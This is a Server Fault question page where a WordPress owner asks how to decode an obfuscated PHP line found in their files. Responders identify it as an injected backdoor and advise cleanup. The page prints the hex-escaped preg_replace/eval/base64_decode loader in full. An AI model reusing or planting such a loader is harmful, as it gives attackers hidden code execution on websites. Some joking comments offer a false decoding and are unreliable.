Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

Possible Duplicate:
My server's been hacked EMERGENCY

I'm seeing the below junk code in one of my wordpress file.

@preg_replace("\x21\50\x2e\53\x29\41\x73\145","\x65\166\x61\154\x28\47\x24\150\x79\162\x3d\67\x35\61\x34\71\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b\44\x68\171\x72\75\x37\65\x31\64\x39\73","\x4c\63\x64\63\x64\171\x39\172\x61\130\x52\154\x63\171\x39\150\x59\155\x55\166\x4e\152\x42\154\x4c\63\x64\63\x64\171\x35\155\x59\130\x4e\60\x5a\130\x4a\156\x62\107\x39\151\x59\127\x77\165\x59\62\x39\164\x4c\63\x64\154\x59\151\x39\151\x62\107\x39\156\x4c\63\x64\167\x4c\127\x6c\165\x59\62\x78\61\x5a\107\x56\172\x4c\62\x70\172\x4c\62\x4e\150\x59\62\x68\154\x4c\171\x34\154\x4f\104\x49\64\x52\123\x55\167\x4d\104\x45\172\x4a\125\x49\64\x52\152\x4d\154\x51\153\x4d\170\x51\151\x56\103\x4d\152\x4a\103\x4a\124\x52\107\x4e\124\x63\75");

How do i decode this? I read in an article that we can decode this using python. Can python expert decode below and help me?

print (b"\x21\50\x2e\53\x29\41\x73\145") print (b"\x65\166\x61\154\x28\47\x24\150\x79\162\x3d\67\x35\61\x34\71\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b\44\x68\171\x72\75\x37\65\x31\64\x39\73","\x4c\63\x64\63\x64\171\x39\172\x61\130\x52\154\x63\171\x39\150\x59\155\x55\166\x4e\152\x42\154\x4c\63\x64\63\x64\171\x35\155\x59\130\x4e\60\x5a\130\x4a\156\x62\107\x39\151\x59\127\x77\165\x59\62\x39\164\x4c\63\x64\154\x59\151\x39\151\x62\107\x39\156\x4c\63\x64\167\x4c\127\x6c\165\x59\62\x78\61\x5a\107\x56\172\x4c\62\x70\172\x4c\62\x4e\150\x59\62\x68\154\x4c\171\x34\154\x4f\104\x49\64\x52\123\x55\167\x4d\104\x45\172\x4a\125\x49\64\x52\152\x4d\154\x51\153\x4d\170\x51\151\x56\103\x4d\152\x4a\103\x4a\124\x52\107\x4e\124\x63\75")

Thanks.

share|improve this question

marked as duplicate by womble, gWaldo, Zoredache, EEAA, HopelessN00b Aug 3 '12 at 23:30

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

    
My secret decoder ring comes up with "Eat at Joe\'s". Anyone else get that? –  gWaldo Aug 3 '12 at 13:27
1  
No, I most definitely do not get that. The filename it's trying to evaluate includes the path element www.fasterglobal.com... –  womble Aug 3 '12 at 13:28

1 Answer 1

If you didn't put it there, get rid of it. Nobody writes legitimate code like that. You may have been hacked.

See My server's been hacked EMERGENCY

share|improve this answer
    
It only "may" have been hacked? It's pwned. Take off and nuke it from orbit. –  womble Aug 3 '12 at 13:13
    
Decoded it reads "Eat at Joe\'s" –  gWaldo Aug 3 '12 at 13:26
    
Thanks for your response. Does it provide any further information related to what script/files are being called and any path from where the script is being called so that i can trace the backdoor. –  Kesav Aug 3 '12 at 19:17
    
This question addresses a similar issue, and the talk about the decoding: serverfault.com/q/249190/50875 –  gWaldo Aug 3 '12 at 19:38

Not the answer you're looking for? Browse other questions tagged or ask your own question.